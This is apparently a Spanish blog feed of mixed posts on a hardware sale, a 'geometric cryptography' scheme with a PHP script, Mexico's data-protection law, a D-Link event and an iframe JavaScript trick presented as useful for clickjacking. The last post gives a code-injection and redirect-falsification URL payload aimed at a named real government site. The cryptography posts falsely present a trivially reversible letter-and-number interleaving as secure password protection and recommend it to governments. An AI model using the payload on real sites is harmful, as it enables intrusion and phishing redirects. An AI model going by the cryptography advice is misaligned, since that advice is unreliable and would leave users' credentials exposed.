lectores wcr3237-533k533u, ya solo tengo 3 piezas, el precio es accesible, 120dlls c/u.

informes sobre sus caracteristicas: klandex@hotmail.com

Bien como he estado algo liado con el work me he decidido dar un receso, los proximos temas a abordar seran la conclusion de la criptografia geonetrica en la cual en la ultima entrega trataremos la cuarta dimencion en base a ciclos.

Ademas de un par de post relacionados con la programacion de sockets para usar el puerto 25 correctamente basado en algun servidor smtp… y hay varias fotitos de nuevos gadgets…

u.u paque visiten seguido ps u.u

A nivel basico podemos entender un poco mas a fondo la criptografia geometrica, iniciando por mencionar las figuras que usaremos por ejemplo, para iniciar empezaremos con una figura de solo 4 vertices, en los siguientes ejemplos obtendremos cadenas de una longitud no tan extensa.

Iniciamos con la figura geometrica de 4 vertices. Un cuadrado, que constara en cada vertice con los valores “a”, “b”, “c” y “d” iniciando por el vertice superior izquierdo en sentido con las manecillas del reloj. En los angulos internos de igual manera pondremos valores pero ahora seran numericos, en donde colocamos la letra “a”, pondremos en su angulo interior el numero “1″ y asi consecutivamente con los numeros “2″, “3″, “4″.

Ahora codificaremos esa cadena “abcd” con solo enlazar los vertices simetricamente de tal forma que sus valores se concatenen y obtengamos una cadena ya codificada, iniciamos con el vertice de la letra “a” con el contra-vertice con el valor “c”, asi obtendremos una parte de nuestra codificacion con solo concatener el valor exterior del vertice con el valor del angulo interior de tal manera que obtendremos el valor “a1c3″, hacemos lo mismo con el vertice que contiene el valor “b” con el contra-vertice “d”, conseguiremos el resultado “b2d4″ ahora solo queda concatenar estos dos resultados para finalmente conseguir el valor “a1c3b2d4“, este resultado abre espectativas interesantes en las cuales podemos jugar con el comportamiento de las figuras y obtener resultados con mayor complejidad.

Ahora decodificaremos esta cadena ya codificada, “a1c3b2d4″, la forma mas sencilla y obviamente LOGICA, es simplemente quitando los valores que no sean alfabeticos, en este caso dividimos esta cadena por caracter “a-1-c-3-b-2-d-4” y remplazamos con un valor nulo los caracteres numericos, para finalizar con la cadena “abcd”.

Concluimos con este ejemplo sencillo en el cual codificamos algo simple con una figura simple, Adjunto un script PHP que hace exactamente el ejemplo explicado.

<?php
    // Encriptacion Geometrica Basica 
	// http://www.cryptame.com/
	// http://dscleon.wordpress.com/
	
	$variable = 'abcd';
	$medida = '-'.strlen($variable)+1;
	$lado1 = substr($variable, 0, $medida);
    $medida2 = '-'.strlen($variable)+2;
	$lado2 = substr($variable, 1, $medida2);
	$medida3 = '-'.strlen($variable)+3;
    $lado3 = substr($variable, 2, $medida3);
	$medida4 = '-'.strlen($variable)+4;
	$lado4 = substr($variable, 3);
	$nodo1 = '1'; $nodo2 = '2'; $nodo3 = '3';$nodo4 = '4'; 
    $trama1 = $lado1.$nodo1.$lado3.$nodo3;
	$trama2 = $lado2.$nodo2.$lado4.$nodo4;
    $completo=$trama1.$trama2;

	//Resultado:
	echo $completo;
?>

La criptografia geometrica es un termino que se refiere a la codificacion de cadenas con base en figuras simetricas y por lo menos con 3 vertices, asi excluimos al circulo ya que carece de estos. Incluso con este tipo de encriptacion podemos aumentar el resultado dandole dimenciones a estas figuras.

Este termino refleja una solucion alterna a la seguridad web, ya que basado en mecanismos geometricos se puede codificar y decodificar facilmente, aplicando una reversa al metodo de encriptacion.

No se puede sustituir a la codificacion popular, pero en proyectos en los que se requiere un sistema de proteccion de la informacion es util este tipo de algoritmo.

[Principios de la Criptografia geometrica]

Como venimos entendiendo, este sistema de codificacion geometrica nos aporta una solucion util y facil en la creacion de desarrollos en los que necesitamos proteger la informacion que se requiere. las figuras geometricas son la base para realizar este tipo de encriptacion. Asimismo las figuras geometricas poseen la propiedad de adquirir dimensiones, esto lo hace aun mas interesante.Para entender y crear un algoritmo con estas caracteristicas solo es necesario tener conocimiento sobre figuras geometricas.

<!–¿Para que Sirve este tipo de encriptacion?
Esta forma de codificar, nos es util en la necesidad de ocultar informacion en una manera sencilla, rapida y segura, en un ejemplo podemos mencionar un proyecto en una pagina web, en la que requiere ocultar la informacion procesada de los usuarios, ya sea la clave de acceso y/o contraseña o llave de acceso de los usuarios. Para ello y no depender de la metodologia clasica ya que de lado del atacante este tipo de encriptacion es conocido y por ende cualquier ataque con diccionario a “X” numero de frases darian en un dado tiempo la cadena correcta codificada.

Con esta forma, esto pasa de tener este punto vulnerable a una seguridad mas estable ya que este tipo de encriptacion llega a ser personalizada y existe una probabilidad mas baja de ser rota, no podemos asegurar que esto termina con la inseguridad ya que dependiendo la capacidad del atacante y el grado de complicidad en que se elabore el algoritmo podra ser desencriptado por terceros.

<!–¿Para quien esta recomendado este tipo de codificacion?
Esta implementacion lo podemos recomendar a la industria privada, como al sector gubernamental para la proteccion de sus desarrollos, ya que estos pasan a ser uno de los objetivos mas atacados, esta forma pasa a ser una atraccion para los desarrolladores. Ofreciendo aparte de seguridad una moldeable situacion para adaptarse a cualquier proyecto.

En el sector gubernamental se desarrollan cualquier tipo de aplicaciones, ya sea privada o publica, estas se mantienen monitoreadas, para el objetivo de tener de manera segura el desempeño de esta. Al utilizar un algoritmo de encriptacion geometrica, podran implementar en diversas situaciones, diferentes metodos. Para asi tener un sistema mas seguro y una administracion mas sana.

–
Faltan 3 post explicando mas a fondo el funcionamiento de la criptografia geometrica.

A tal grado de que su información personal ya se encuentra en una base de datos, por lo cual esa información ya es electronica, Para esto, se podria decir que es legal, pero existe una ley que podemos ver en el portal de los diputados,

“LEY FEDERAL DE PROTECCIÓN DE DATOS PERSONALES EN POSESIÓN DE LOS PARTICULARES”

Pongo enlace del pdf

¿En caso de que nuestro desarrollo necesite información de esta indole que podremos hacer?,
A mi punto de vista hay muchas formas de cumplir con esta ley sin precedentes, la mas viable quizas es la de contar con varios requisitos.

*- Desglozar electronicamente la clausula de Terminos y Condiciones en la cual se le explica al usuario la forma en que se manejara su información personal. Ademas de darle a conocer sus opciones o derechos que pueden aplicar al dar esa información.

*- Documentacion electronica para su vista posterior e impresión.

*- El tema de la seguridad es importante, ya que su informacion te la cede por confianza.

*- Agregar opcion en el desarrollo para eliminacion de la cuenta y datos personales.

Creo que es lo importante para el desarrollador, pagos, papeleos extra se tendrian que solucionar con acuerdos con el mismo cliente.

Si falta alguna importante nota, haganlo saber, igual si existe algun punto que se encuentre erroneo, de la misma forma agradeceria que lo comentaran.

La información presentada me la explico el Mr @whobin

Ya inicio el evento RoadShow de D-link, evento o campaña, sea lo que sea es con el objetivo de dar a conocer la gama de productos asi como la Seguridad que se les da…. Practivas, capacitaciones, etc…

El dir. Jesus Ochoa, el director del corporativo en Mexico, señala que este evento se presentara en 13 ciudades y posteriormente quizas 50 ciudades, viendo que esto es un poco extravagante es de interes para aquellos que son fanaticos a las redes, bueno, no solo a las redes, a la informatica en si, ese deseo de estar al tanto es lo que lleva a este evento a ser uno de los mas esperados…

Por mencionar algunas ciudades que seran sede de este evento es, Guadalajara, Queretaro, Leon, San luis Potosi, Puebla, etc… Aqui puedes verificar los horarios, lugares y fechas de cada evento…

En el ejemplo haremos que dando click en un enlace se desaparesca el iframe…

patern.html;

.
<html>
<script type="text/javascript">
	function ocultame(obj) {
		if (document.getElementById)
		{
			document.getElementById("framename").style.visibility = "hidden";}
		}
</script>
<div id="framename">
<a href="http://iframe.html">http://iframe.html</a>
&lt;/div&gt;
&lt;/html&gt;
	
.

iframe.html;

.
<html>
Iframe x)<br>
<a href="javascript:parent.ocultame('framename');">Da click y desaparece tu iFrame</a>
</html>
.

Primero declaramos la funcion a ejecutar en el Parent (Archivo que contiene el iframe)… y finalmente solo la llamamos en el IFRAME como si llamaramos una funcion normal de js, pero iniciando con parent: parent.ocultame(‘framename’); y adentro la opcion que viene en este caso la funcion ocultame(obj), onde OBJ es el nombre del div que contiene al iframe en el Parent

———————————————————-
Util para ClickJacking
———————————————————-
Enjoy

Ayer estaba buscando servicios para encriptar algunas cositas y le neta me daba hueva meterme a php, encontre un site al parecer mexicano…

Ahi para cuando requieran algo asi les dejo el link

http://www.cryptame.com/

Enjoy

Target test:www.diputados.gob.mx
Vulnerability : Code Injection and Redirect Link Falsification
Run:

path/error.php?type=test&error=test+-+[a%40http://www.google.com%40_self]testing-link-falsification[%2Fa]

Info Vulnerability: 0day EDB-ID: 15699 in e-db [2010]

Credits Vulnerability source:
Emanuele 'emgent' Gentili
Marco 'white_sheep' Rondini
Alessandro 'scox' Scoscia

]]>